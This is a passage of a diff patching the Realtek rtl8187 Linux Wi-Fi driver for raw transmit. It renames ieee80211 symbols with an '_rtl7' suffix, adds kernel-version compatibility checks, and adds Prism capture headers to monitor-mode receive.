5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-01-30 17:38:11.000000000 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-01-30 17:38:11.000000000 +0100 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // 